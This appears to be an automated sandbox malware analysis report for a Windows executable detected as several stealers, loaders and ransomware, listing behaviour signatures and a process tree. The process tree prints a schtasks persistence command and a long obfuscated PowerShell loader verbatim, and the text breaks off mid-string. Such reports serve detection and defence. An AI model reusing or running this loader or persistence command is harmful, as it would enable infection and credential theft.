Edit tour

Windows Analysis Report
New_Text_Document_mod.exse.exe

Overview

General Information

Sample name:	New_Text_Document_mod.exse.exe
Analysis ID:	1365084
MD5:	69994ff2f00eeca9335ccd502198e05b
SHA1:	b13a15a5bea65b711b835ce8eccd2a699a99cead
SHA256:	2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
Tags:	exe
Infos:

Detection

AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected Creal Stealer

Yara detected Djvu Ransomware

Yara detected FormBook

Yara detected Glupteba

Yara detected GuLoader

.NET source code contains potential unpacker

.NET source code contains very large strings

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates an undocumented autostart registry key

Drops PE files to the startup folder

Found Tor onion address

Found suspicious powershell code related to unpacking or dynamic code loading

Infects executable files (exe, dll, sys, html)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies existing user documents (likely ransomware behavior)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample has a suspicious name (potential lure to open the executable)

Sample uses process hollowing technique

Sample uses string decryption to hide its real strings

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Very long command line found

Writes many files with high entropy

Writes to foreign memory regions

Yara detected Generic Downloader

Adds / modifies Windows certificates

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Stores files to the Windows start menu directory

Tries to load missing DLLs

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

New_Text_Document_mod.exse.exe (PID: 7128 cmdline: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe MD5: 69994FF2F00EECA9335CCD502198E05B)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

spfasiazx.exe (PID: 6360 cmdline: "C:\Users\user\Desktop\a\spfasiazx.exe" MD5: ABA50AE31C5DF3EA0C2394C93D423AFE)

spfasiazx.exe (PID: 5480 cmdline: C:\Users\user\Desktop\a\spfasiazx.exe MD5: ABA50AE31C5DF3EA0C2394C93D423AFE)

WerFault.exe (PID: 7276 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 860 MD5: C31336C1EFC2CCB44B4326EA793040F2)

build3.exe (PID: 7352 cmdline: "C:\Users\user\Desktop\a\build3.exe" MD5: 0099A99F5FFB3C3AE78AF0084136FAB3)

schtasks.exe (PID: 7404 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN build3.exe /TR "C:\Users\user\Desktop\a\build3.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

e0cbefcb1af40c7d4aff4aca26621a98.exe (PID: 7788 cmdline: "C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe" MD5: F5F2EAC1231BBE457FEDD8AD2337F48C)

powershell.exe (PID: 7304 cmdline: powershell -nologo -noprofile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

e0cbefcb1af40c7d4aff4aca26621a98.exe (PID: 5284 cmdline: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe MD5: F5F2EAC1231BBE457FEDD8AD2337F48C)

powershell.exe (PID: 1184 cmdline: powershell -nologo -noprofile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

alex.exe (PID: 7604 cmdline: "C:\Users\user\Desktop\a\alex.exe" MD5: 794FC2DA25B437BA1F88C2276B336C4D)

RegSvcs.exe (PID: 7664 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 9D352BC46709F0CB5EC974633A0C3C94)

wlanext.exe (PID: 7744 cmdline: "C:\Users\user\Desktop\a\wlanext.exe" MD5: C810E663DD2ADA28C1BB8EE928F1372F)

powershell.exe (PID: 7804 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8068 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Radiosensitivities Outerwear Opsigelsesaftalernes Spaanlst Afstrmningens Drosera Polyteisterne #>$Specterlikes = """He;udFMauMenRecLetUniBaoFonMa SpVmaAAnR p5Co3Th Ef{Es An Sy X UnpHuaIdrSiaComLa(Bi[ PSAutPhr BiHunShgSk]Mi`$StETetCyaLeglseLerOvnSne RsStiUnt RrFaeKlr PeSl2Ca4ba)Ub; F yd`$PaSkloMilFocSmrDeeinmDye Tr NnBieUn S=Ad S`$AkEDatSpaRogCheScr Ln He Ls Si ItHirFeeUnrRyeAr2 S4Sp.brLLoeUnnHagbat EhSu; K A Pl do Ph`$ImL EoTatSeuJas ObKolHuo KmSisSktOpe En AsWe7Vi3Da P=Re CaNDae MwFo- COUnbBajfieUncSatdi RsbGry BtFreDe[Ty] A Rd(Tf`$ SS AoInlGecEnrTjeMamUneStrStnPaeVa Li/Ja Fo2Al)At;Te up`$SvPbeoSowDrs V= S'PrS GUUn' S+Pr'ArBKoSIsTReRTeI BNPlGPr'Ne;Re I Pr Fr DrFAko FrBu( R`$DeS QtCoaIskAki FtStt PeTrrcrt ToInm PtAreDeo BrOpiLysHe= S0se;Po Zo`$KoSTotDeaDakIniHjt Ot Fe TrGatFioSemTjt LeSto KrHeiWisVu Ar-ChlLitFi Oo`$InSTeoOvlRecder SeSpmBaePar InRoesu;Ns No`$UnS LtSnaCikDriOctShtSeestrJatFloInmRet EeSpoAcrGaimrsMe+An=Mi2 A)Me{Pr Mo Vo Me An Ma P S Gr`$ PLProQut AuSesDibSklcho HmTrsSltOueEinkvs a7Ke3St[Pa`$HjS It PaAnk MiDetLstSteWorNotFooSumFutAnesaoPlrReiUdsKe/Mi2Vi] C Ch=Sw Sy[OrcDioAcnwavEmeFrrSetAs]Kl:Kl:MeTKuoAsB byAftKieBi(Co`$MuEPatGuaAag De QrIlnAnefesSpi Nt Kr TeDarJeeNo2Re4 P.Me`$CoP ToNawMysbr.PeIHjnElv EoHykAneSe(Sa`$MaS EtMaaFek Ri CtLntKoeeprNet PoIsm Bt HeSuo BrKniChsBr,Ca Vr2Mi) D,in T1Se6su)Ps;Ul Pr Ne`$ BLHyo DtBuu SsTib PlCooTumFasOntSteSenEmsmu7Sp3Af[Fo`$ SS NtFoaFlkKai LtDottaeVor BtUnoHem AtMaeInoBlr SiInsDe/Mo2Cr] A U=un Bs TuUnbOrs PeDiwMeeAgrSe8Pr Ir`$StLObougtLouSksvibTalDioNomHjsTotJaeSpnVasIn7 S3Mi[Us`$NeS ptNoaKok Pi Bt Tt deWarTatTso SmBetDeeDioAdr MisasEr/Br2De]Cu Re6 T4Em;bi Ma U Ho Sa} M An[ArSFltMar kiApnTrgCe]Le[FoSrayUnsPstmieKamTa.CoTCoeFrxCotSr. PEgenOlcBeoWrdUnihinnogRe]Tr:Sa:FrAkaSAlCTeIChIFr.VaGEnePrtSmSSitNorRui TnFagSc(Pa`$StLReo VtRau HsNdbAllPioMamGusIntPaeMenDes S7 V3Pu) Q;Un} A`$FuS ToGagPanPoeSifFooFigPre AdBuePirStnPaeSu0Am=ToVInAfeRLi5no3Ru Di'la1Te3Th3En9Sa3 E3Sp3Pr4Kr2 S5 s2BaDLa6UnEMi2Be4Tr2SkC M2InCBa'Ko;di`$SrSSyo AgDrnPte Tfaro ggTheOpdSte SrHdnMieHy1An=SlVAaAUlR I5Me3 B R' F0GaDBu2Hy9Ov2 S3St3 P2Vi2UnFVa3Py3Br2CoFzo2Un6Sl3 A4mi6spE P1Fe7 L2He9Fa2 AERa7Po3cl7 Q2Li6 FEBo1Tr5Dr2ThE V3Re3Fl2 H1Pr2Po6De2Sk5po0PeEDi2An1 B3 T4 C2Re9 M3 I6 S2Fa5Me0 IDEk2Pr5Um3Ba4Ob2Af8di2 CFOr2Un4Mo3 F3Ge' H;To`$NeS OoAfgAun TeCafbuoUtg weDadTeeChr AnOmeTh2De= RV KAViRFu5Ga3El Ca'cu0Fj7Br2pe5in3St4Di1Un0Ph3Te2Kn2FoFUn2 b3Dy0Sc1Gr2Sp4Al2Ou4Fd3Un2 W2 T5Ah3Le3Pa3 B3Me'Ko;La`$ThSEcoUngOvnPaeLyfSioCogUdeUnd peSarAmnNaeJe3Gi=kuVByAKoR V5st3Ar D'Ke1Ej3Ho3 m9 L3 B3kr3To4Br2Ra5Sl2RsDKo6MaE F1Ro2Bl3Tv5 D2SoE G3 A4de2Re9Id2ReDKa2Be5In6OeEVa0 T9un2SkERe3Sm4Am2Bu5su3St2Ol2AdFRa3Ly0Re1 I3Ga2Et5Fa3ya2 N3Co6Ba2 A9Me2Sk3Ri2 R5Fe3gr3 P6BeEVr0To8Er2Un1Pr2CeESo2In4ef2JaCMa2gu5 O1Sa2Qu2Sm5Th2De6Mo'Va; P`$tuSMaoPtgApnMeeHjf Ro BgPieOsdSle ErAknLge F4Fi= MVOpAecRSc5An3Zo Hu' S3or3Ra3Un4 H3Ti2Il2Fr9 T2FnEIn2 a7Hy'su; A`$HuSFooNagGen Ce SfHyoCog DeCldrreTerSanGee E5mo=ViV CAReRGe5Fo3Wo Pi'En0Tl7 E2 T5Fa3An4Ra0 aDMa2DoFSu2Fo4Co3Ne5ea2KiCSt2De5Dg0Jg8Va2Sv1Ud2 DECi2 H4 F2StCLi2Da5Qu'Ps;Un`$AkSCao pgPrnBeeBafDioTygUdePidBeeKorLinBoe I6Te=EnVVaAFrRKl5 S3Bi O' F1Sh2Co1Re4Fa1Af3Ba3 U0Sl2An5Pi2La3Vo2fo9Lu2bo1Co2SlC B0HjEDa2Li1 C2SeDSt2 T5Me6FyCSt6 P0Pa0Sp8Ch2Cy9Li2Gr4 F2 T5Co0Up2Sv3 U9Sc1 L3Do2Re9De2Po7Sa6UnCUd6An0St1Af0Fj3ch5Le2Ca2 I2 RCkr2Br9sk2Re3Af'da;Ud`$CuSPao MgSlnPreSifHaoKog TeAnd He IrHenBremu7Be=SnVByATrRHa5No3Fl Im'Ba1Ur2Sk3Un5su2PeEIr3 U4Pl2Jy9Am2EsD D2Fe5Bo6 PCBo6pa0Ba0ErDGo2 H1Ve2piE U2 O1in2Fo7Si2We5li2Xa4ad'Sp;Ma`$EmSSyoStgAnn seKofFooYigLae RdCieCarBin ReUn8Di=PrVRaAVeRFo5 B3So Di' B1Su2 G2ty5Vl2Su6Fa2ThCSt2Gl5Fo2Ve3Va3 S4 T2 S5Fo2Gy4Re0Ne4 M2 i5gi2poCTe2Gr5 C2Sp7Co2Un1Fl3Sy4St2Ha5Se'Re;Wi`$PiSVeoNegKlnMie AfGloBogSce SdTreFrrMonMeeAr9Ti=SoV rA ARNy5Uf3Li Pe'Sl0 K9 A2KaEFl0HeDOs2sy5 U2 SDMa2 SFNo3Pr2Yq3Cl9Za0InDRe2AlFPe2 D4Ma3Lo5Be2SyCMa2Kl5Vi'Fr;Be`$MywViaGatNoeHer UlCaoKagFys K0 H=UdVUnAHoRBl5ph3 P Fa'Bi0trDBu3Ne9Ch0Hu4Ri2Ti5Un2DaCPi2 D5na2pa7 D2Di1Il3Ir4 U2Tr5Ca1Fu4Sh3Vu9Lo3Sn0 E2Ax5 O' A;Co`$Dew KaButFoeCarGrlPeoEyg SsId1Hi=LyVLyAExRZo5Kj3Ne Bi'Bo0 C3He2KoCOv2 T1Hj3Sp3 A3Ty3 M6flC T6Fa0 N1Te0Lu3Bv5 S2Re2 L2MuCNa2 A9Cy2No3Ro6alCEg6Un0Ka1Ju3Ma2Ga5Co2Th1Ta2StCTu2Ka5Fl2 S4Mi6SuCIc6Ga0He0 U1Co2 EEFi3Tl3Al2Tr9De0 P3Sv2SkCma2 k1Na3Gr3Zo3Af3da6ElCMe6Li0Oc0Ph1Go3Yn5Fe3 F4Pr2soF N0 S3 C2flCDa2Ex1el3 A3st3Lo3Sa'Pr;Sk`$Auw MaKotArenorKllInoVagFostr2Ma=beVtrAOyR C5 B3Ch S'Un0La9no2 bE T3 S6Fe2NeFTu2JiBSt2 E5Un'Co;Lu`$SpwStaPotDieFirBelUdoKogDesEu3eq=CoVNoAReRAe5Su3 B Pl'Te1Fi0Ca3 E5Ja2In2No2SiCAn2Be9De2wi3Dy6ViCFi6Po0Re0 U8Tr2 P9la2Po4Un2In5El0Ve2Tr3Al9pr1Br3Sl2Ma9 A2On7be6BrCSe6Ko0Da0coEPr2Gl5Pe3 F7De1He3 I2HnC I2 FFSe3Fo4Un6NaCSt6Cl0 b1 D6Sp2Fo9Ja3Di2 P3Sm4Sg3li5Ch2ch1 B2 sC S' M;yo`$ Gw RahytDoeHerBll So PgCisBl4Li=FaVCaAUnRDv5Ab3 B Ro'Re1ve6Eb2Ud9Br3ca2Ko3Ko4st3Vo5St2Ge1Di2DaCVa0Va1Au2TeCPr2skCSi2CaF o2 B3 E' s;St`$ twStaFat CeHarAlltfomugRasTm5 A= PVBaAOtRMa5 W3Jy Li'Me2AlE S3Pr4Sa2 N4St2StCTa2LeCPi' D;Fo`$PhwAraVatBoeKar ClBeoBrgDusGl6 N=kaV UADiRFl5El3 P Di' P0CrEba3Sk4Gu1Pr0Cy3 O2Pi2 CFEl3Ca4 n2no5Sp2Ha3ne3Ep4 J1Ko6Pi2Te9Ar3Sa2 T3Bo4Bi3Al5Ve2 G1Im2SkCLi0SjDPr2Cy5 v2udD L2UnFPh3Be2no3au9Ud' B;Su`$Blw KaWetfle arEplKuoRogSosPo7Ol=TeVbaASsRDa5Ou3 R Bo'Br0Le9Ve0Ou5Po1ro8Th'Mo;Im`$GuwSeaTet NeverLolRao SgMisSp8Di=PuV NAbrR S5 B3br Un'Re1 UC U'Pe;Su`$ sSLyt QafrkTyiUdtint JeArr TnInnMeu ViLetNeeGitBuebarCon UeTn= BVRiAHaR s5Sa3Ak Ak'Ma1Ky5He1 A3 K0Ac5St1Fe2Vk7Py3 J7Re2 o' U; S`$NaSBurAnrSteKntratPri BgPahKue sdPoekyr PnAneAssSh=ciVdeAPyRko5Pr3 F Du'Th0Ka3Sk2Po1Om2VaCTa2 BC M1Pe7Lu2Lo9De2JuE j2Bi4Bi2AnFel3Or7Pr1Vu0Re3Ch2Ra2AnF K2 O3By0Se1He'Ov;NefBluRen GcSttRuiHjo RnSk TefGikrepGr An{PePmoaAnrRea SmRa Un(Ek`$EpT aiStlRelStaSldBeeSolTuiAngfieGe,Hy T`$ MFUgrDiiSasBrpSpiGelBll LeZirDa)Ka R No am Sw Oc; K`$SkFPeealj AlAntAfyBrpRee Ar SsDe0Ch Du=LeV PABeRTy5 O3Re V'wa6 L4Ki1An3Dr3Fr3Ge2Sa1Un3Vi4 S6Hu0Sv7ScDTa6 A0 l6 K8Ca1PeBEl0Br1An3 S0Ea3Di0Al0Ag4Ag2DiFHo2UdDFo2De1Ve2Me9Un2MiEPh1ImDAl7MoA P7PoARu0 B3Un3Sn5Ca3Pa2Op3Mo2 W2Hy5Op2WeEHo3af4Ra0Tr4Ki2UrFTh2IrD B2Cl1Ge2Af9Af2CoEEl6UdEVo0is7 O2La5Te3Ba4Br0 A1Le3Ob3Mo3 B3Pr2Un5Be2 NDRu2Am2 O2ElCHa2 k9Fu2Al5Pa3Ge3An6 U8 S6Ci9 B6Fu0Gl3baCsk6Ru0Cl1Fr7sk2 G8ac2Fe5 S3Mo2Bi2No5Ad6FaDpo0 RFCr2Du2 V2AnAFo2 N5Re2Sy3Ge3St4Pl6 b0Ry3TuBTh6Sn0 B6 A4Tr1 KFKa6 GEBi0bi7Ud2FiCGr2TiFBu2Gl2St2An1Ga2 BCBe0Ma1Sk3 O3Ko3 U3Bl2Ra5Va2BlD K2De2mo2OvCLu3 S9Al0 E3So2Ma1He2Ku3 S2Be8co2Ba5Ul6Sy0Fr6LsDBi0Ja1Ca2 NEPo2Ra4Pa6Ep0Pa6Po4 S1 TF S6NoEDo0OrCUd2 FFGr2 V3Be2Fi1Mi3Pe4Un2 B9Sm2 mFSi2poEFa6RoEFl1To3Ar3Un0Gt2TeCAa2 U9 T3 t4Qu6Pu8Ch6Ky4Pu3Bo7Fl2 R1Bi3 s4Un2Sy5Un3Up2pr2RuCSi2FoFFi2Bu7Sl3Fu3Up7 S8gl6Fi9 I1DoB F6TiDHo7Os1Da1 sDan6VaENo0Rm5 B3Ag1Br3 t5Ce2ve1Re2MyCUn3st3 L6Re8in6Sa4Pe1Af3Do2TyF L2Sk7Re2BaESp2Yl5Fe2Ku6As2 NFMa2Kl7Co2Se5Sp2Su4Pi2 S5Vi3Br2Li2syE N2 R5Su7Da0 G6 E9Av6Bu0Ud3uvDId6 P9 N6GrE A0Ou7Se2 H5Ta3 I4ju1 n4St3 F9su3Cl0Fe2Vi5Vi6 U8Ov6Ur4Fo1Mo3Fr2KaFBr2An7Bl2OuEMu2kr5Bu2Fa6Sm2BuFFe2 V7Am2 O5At2Ex4sk2Te5Fa3Wo2 S2SaETe2Pa5 S7St1Bo6Te9Un'Ob;Hv&Af(tr`$BrwSlaSttUregerRelYdoYogNisLe7Pl)Di B`$RdFBoeDijDvlFyt ByOpp ZeBrrCasSe0St;an`$TrFDeeGaj SlBrtOpyBipPaeSarKisFo5os Cl=Bo TeVGeAFoRUn5Ty3Dr Us'Re6 U4Fr1Mo3Me3Sa4Ov2 A5Af3An2dr3An3Ud2Re2Mo2Re1 H2KrERi2VeB L2Re5Be2StEAf3Ka3Ti7To1Ha7Un6 I7Un8 H6 C0Mi7RoDRe6Pi0Bi6Un4 B1Al3Sy3 P3 B2 P1 T3 T4Ta6GaECo0St7 R2Ov5Fd3Re4Sc0ReDBo2Th5Bi3na4 D2Eg8Ta2foFBl2Ta4 M6Ca8Sp6fo4Ga1Vi3Af2FiFUd2sl7He2coETr2Ov5Su2Ir6Gr2ArFUn2Pa7Ty2Mi5Wi2Pe4Tr2Kr5at3No2Ma2DkEPr2cy5Di7 S2Lu6FrC S6 M0mi1TaBKu1Ta4Ud3Ev9Sm3Au0af2No5 U1DyBRu1ArD D1TiDDe6Tu0Ex0Dr0 K6Da8 G6 M4Au1Fl3um2prF R2Ac7Uk2 NE U2Sj5 C2 D6Sy2DiFHe2Su7Be2 D5An2 D4Si2 F5Gl3Fo2kl2UdE R2Ke5Ne7Va3Da6TiCIn6Pl0 D6 w4ca1Ge3Sp2 SFMa2St7Sh2IdE B2St5Lu2Zo6Gl2DeFGr2Re7No2Hj5Sk2te4St2No5He3Tr2 E2foESa2Ab5Ka7Le4Pr6Et9Sa6id9 P'Bl;an&De(Ag`$ NwPhaVatGeeBorSalGioAugBosOm7Er)Bl Ka`$AaFKieUrj BlUntJuychpPrefrrTrsPr5An; C`$VeFOseAdj AlRetFryTop BeBar Jskr1 R Ar= E naV GABuRVa5Fr3Do Le'he3ze2My2Se5Be3Sk4 U3Sa5Pa3Gu2Va2FiECh6Mo0An6St4 N1Su3No3Un4Pi2Me5Ar3Sl2ab3Fa3Gu2Ce2Sk2St1Is2SlE S2meBFr2 M5Hj2KnEMt3Lu3Re7Py1In7Si6Pr7Au8Ma6BrEIn0Ma9Ny2KnEDe3Nd6Co2 BFPr2 IB U2Af5St6Fu8Re6De4 L2AcECa3Fa5Us2CrCSe2SaCst6phCZo6 F0Ex0Fo0Mo6Na8Ju1BeBLo1Gi3Ur3 F9So3Ma3De3 u4Na2St5 S2ReDSp6 KEDe1Un2Fi3Sh5Sy2flE L3 T4 I2Fl9Gi2 DD b2Mu5Ly6FoEGo0 F9 I2skESt3 J4Me2Je5Fr3 N2Bl2PaFMo3Vb0An1Bu3Wi2Al5In3Jo2To3Uz6Ky2Re9Mo2St3Bg2Ov5Ma3 D3Ca6PhESp0In8Se2 P1Hy2MiE F2Fl4En2FoCHa2Ar5Ag1Ta2Bl2Sk5 a2sa6 A1deDKi6Fo8Un0 IE s2Fi5 f3 I7Mo6JuDPo0FeFVa2 F2Ca2ToAAt2Bo5Co2 U3 A3Sy4So6Li0Ka1 O3Va3As9Tr3Be3Il3Ho4Ek2Ha5Ba2OrDSu6KdEin1En2El3No5 E2UrEBe3Am4Pl2Be9Fl2NoDLu2Mi5Ki6 UECi0da9Ko2SkEKa3Sl4 a2 U5Va3Sm2Un2OpFCo3To0Cy1Fa3Kk2co5Mu3Ef2Co3In6 E2St9se2Be3Ma2Un5 S3la3Ou6ToEUn0up8 K2El1 B2EpE E2Av4Mi2UnCMo2Mu5so1 E2Co2Br5Ov2Be6Be6 N8Mi6No8So0BeEFo2Tr5De3Va7So6BrDDi0HoFBe2Om2Ec2knAIn2is5Va2Sy3Fo3Ja4es6Un0Ha0Be9Pj2SpETe3Sa4Ra1Sl0 S3Di4In3Ma2En6Be9Un6HaCNo6Re0To6Ho8Be6Ov4Tr1 i3Ov3Op3 B2Eu1Ur3Tw4 D6 RETe0 F7Re2 R5Di3Ab4 B0buDIn2Le5Gr3Ty4Lu2mi8Ge2UnFCo2 G4 s6Bi8 A6 E4Ti1Sv3Ge2LsFSt2Un7Em2RyEPr2Se5Be2An6Fi2diF M2Ad7Co2Ud5Ri2 I4pu2 F5Af3 E2Sy2 REIn2Kr5Ad7 S5 P6Re9in6Un9Ba6CrEMo0Ov9Ra2ImE S3di6 K2FoFEr2UnBMu2be5Da6Pa8Ha6Ca4am2UdERa3In5Co2 GCFo2VrCan6 DCUn6Ar0Se0pa0 M6In8 N6 D4Ji1Ta4 D2Sp9Br2BrCSt2DeCRe2ke1Ar2Pa4Af2De5Ri2AlCTi2Ta9Kl2Co7Un2Fo5se6Be9 D6Bi9Sh6so9 U6Mo9Ag6ChCOp6Ne0 H6fu4Ud0Af6ka3Go2 L2Co9Ra3Is3 e3Ma0 H2 G9Tr2SiC S2AfCHj2mi5Sy3Ne2Ea6 A9Sc6 E9Ir'Se;Sj&St(Sy`$ kw Ua AtRaeParPrlSooEtgResPe7Go)Em Sp`$DeFLaeOujUllNotinytrpFueTurIrsst1 B;Fa}Snf gu Kngac ttOviShoMenDi ThG AD bTKo Re{AnPvaa TrfianomMe Fi(Zo[LoPUnaAnrRaaImm TeUntIneHorHk(ImP JoClsAriFntExiPeoBonUr Au= M K0In,Ca FiMUda On PdFoaPrt WoPer SyMe dr=St Bi`$ CTJarSvu Re A) O]Da Et[DiTFeyUdpOveIn[kr] V]Be Lo`$TyDdaeBitGle DkFotFliDooTrnFesSl,Si[KoPgeaKar GaNemHee ZtBueharAu(GrPFdoGrsnoi TtRaiKeo ln S Sn=Gi F1Ha)Li]Op Fa[PrTFoyunp ceBr]Fo A`$InE Sr HhShvRee Or tv bsUbmGuiStnExi As Ut EeLurSaeAfn SsEv an= s Se[SqVPeoToi SdSk]It)Ef;Ar`$beFSae RjGhlNotOvy KpKleDirDesFa2Fo M=Wa RaVHeAGrROc5Ma3Gr Af'Fo6Pj4 D0Un7Lo2WiFDo2MuERe2VoFTa2Sk3 m2GaFSe2 M3Ce2Ba3me2Su1Un2SpCDi6Br0un7TaDVe6Af0 s1diBUn0Ho1Us3cy0Mu3Sm0Bd0 H4Ga2FeF U2 sD B2ko1Er2Sk9Be2ShE S1 EDpr7unAPe7 UAEn0 D3Am3Te5Te3Ka2 A3 G2vs2ad5 S2StELi3 F4 B0Op4kl2UnF U2 nDIn2 R1 P2 R9 s2seE r6 hE m0Zi4Re2Bl5St2Co6 M2Tr9Fi2faEAr2Pr5Ta0ud4To3An9 A2 SE A2Nv1Be2SeDSo2Ti9 U2de3Tv0sm1Un3sw3 S3Ru3Ga2Op5In2InDHa2ra2No2UnCpl3 H9Un6Jo8Mo6Ta8Lr0 CE S2Av5 V3 M7Un6 SDCa0DeFPr2Un2 A2 cABe2 B5De2Ku3Fa3Dy4Ep6Un0Ch1Ra3St3Lb9Su3La3Os3Om4La2 L5Os2coDSh6NaESa1Gt2Pl2Pr5Fo2Zi6Pr2 PC P2Hu5 P2Tu3 S3Fo4Re2 S9 c2ReFBi2SuE H6PuEBi0 S1Gr3Dy3Pl3Hu3Sk2Ty5Be2DeDDe2 N2 R2HaCGe3St9 D0idESp2Cu1Co2NaDRe2Be5Ns6sc8Hv6Ch4Ov1Su3Sa2TaFSp2Le7To2FoEFo2Tr5Sp2Ra6pi2PrFKn2Fi7Pa2Gl5 b2 T4Gr2Tr5Un3Ba2se2amEPa2To5Di7Ov8ra6sa9Na6Le9Sc6CoCDr6Un0So1 cBSk1Tu3Mi3po9Ca3Oc3 S3 B4 R2Re5Bi2DrDMo6GeE F1Op2No2Io5Rr2Da6Fi2ssC R2ne5Di2 S3 D3 I4Ly2St9Tm2StFSv2ReEBe6InE G0 B5St2 oDDo2St9St3Pe4Ma6ToE s0Ca1Ma3In3Pe3Tr3Mo2Si5 s2UnDIn2Ba2 G2LaCEl3 i9Fe0 M2Ja3Re5 W2Ac9Fl2BoCGe2Sp4Op2Fi5Ak3Sy2 R0To1ba2He3Pr2 U3Gr2Ve5Ba3 I3Fo3Lo3Bu1GrDFj7 bA P7AlAsa1Sy2Ta3 A5He2PrEBa6 S9 T6FoESa0Ve4Gr2Un5Sy2Ni6Vl2Co9fo2PuECo2 d5An0Mu4Do3ha9Te2OsE T2Re1ps2 UDHa2Te9No2Un3 D0 ADSt2LyF M2Au4Ro3Ko5Ma2InCSp2 S5wh6Ch8Si6Vi4Op1 f3 O2HyFSu2Hi7Po2CoESn2 I5Re2Ne6Tr2HaFAn2Pe7Re2Re5Ps2Ve4Ja2Tr5Di3Co2 k2 UECo2Te5 i7La9Ud6QuCKo6Wi0Un6Su4Ax2Sa6 S2 U1 T2 RCAb3om3 G2Ab5Ar6 M9Dr6frE G0Pr4 A2Tr5 G2Br6Ak2me9Da2UkEAn2Bn5St1Pu4Mo3Ev9La3Bo0Op2Mo5To6so8He6Ra4 S3 T7Ad2Hy1Te3 S4Fa2Aa5An3Be2Cl2PoCBe2weF F2Ma7Pr3Fr3 H7Pa0St6 CCCr6 E0Gy6Hy4 B3Pr7Sk2Sr1 O3Sp4 T2He5Be3Dr2Dy2SnCFi2 TFAn2Ti7Dy3ba3Un7Tr1Ka6SeCPs6Op0Sk1RdB F1 P3Ce3Us9 F3st3An3Ud4 U2dr5Os2InDTi6FeE o0IrD D3Pr5Kr2DeCAn3Ro4Di2Fe9Pe2 H3If2 M1Sp3 T3Ta3Gu4Sk0 